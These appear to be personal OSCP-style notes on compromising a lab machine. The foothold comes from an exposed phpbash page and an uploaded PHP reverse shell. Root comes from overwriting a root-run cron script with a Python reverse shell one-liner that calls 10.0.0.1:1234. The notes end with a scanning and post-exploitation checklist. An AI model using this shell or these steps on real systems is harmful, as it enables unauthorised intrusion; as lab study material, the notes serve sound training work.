10.10.10.68

Enumeration

autorecon 10.10.10.68

TCP

Port 80 is open

dirsearch -u http://10.10.10.56
dirsearch -u http://10.10.10.56/uploads/

UDP

Web Services

Nikto

Dirb|DirBuster

[19:18:49] 200 - 8KB - /about.html
[19:18:59] 200 - 0B - /config.php
[19:19:00] 200 - 8KB - /contact.html
[19:19:00] 301 - 308B - /css -> http://10.10.10.68/css/
[19:19:01] 301 - 308B - /dev -> http://10.10.10.68/dev/
[19:19:01] 200 - 1KB - /dev/
[19:19:03] 301 - 310B - /fonts -> http://10.10.10.68/fonts/
[19:19:05] 301 - 311B - /images -> http://10.10.10.68/images/
[19:19:05] 200 - 2KB - /images/
[19:19:06] 200 - 8KB - /index.html
[19:19:07] 200 - 3KB - /js/
[19:19:13] 200 - 939B - /php/
[19:19:18] 403 - 299B - /server-status
[19:19:18] 403 - 300B - /server-status/

[19:19:22] 200 - 14B - /uploads/
[19:19:22] 301 - 312B - /uploads -> http://10.10.10.68/uploads/

phpbash.php is in /dev/ folder - which let you execute commands as www-data

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Exploitation

Service Exploited: Remote Code Execution
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability

1. Go to http://10.10.10.68/dev/phpbash.php

2. Try out a bunch of reverse shell command such as perl php python but it is not working. From the hint, it said that you can write on the /var/www/html/uploads folder.

3. Craft a reverse shell php

4. wget the file to the uploads folder then exec the php at http://10.10.10.68/uploads/shell.php

5. Once we have a reverse shell running, our user is currently www-data. Run `sudo -l` returns that we can run commands as user scriptmanager with no passwd.

sudo -i -u scriptmanager

6. Compromise the user flag.

Exploit Code Used

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Post Exploitation

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited: Cronjobs
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability

1. Run linpeas.sh reveals the /scripts folder is writable.

2. test.py is running every minute and write to test.txt which is only accessible by root. So test.py is also being run by root.

3. Craft our own test.py on our attack box and upload it to the /scripts folder then overwrite the original test.py.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",

1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

4. PWNed :) Compromise root.

Exploit Code Used

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Goodies

Hashes

Passwords

Proof|Flags|Other

user.txt: 2c281f318555dbc1b856957c7147bfc1
root.txt: cc4f0afe3a1026d402ba10329674a8e2

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress
- ☐ nmap -sU ipaddress

Service Scanning

WebApp

- ☐ Nikto
- ☑ dirb
- ☑ dirbuster
- ☐ wpscan
- ☐ dotdotpwn
- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☐ Download the softward

Exploitation

- ☐ Gather Version Numbes
- ☐ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☑ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☑ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☐ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book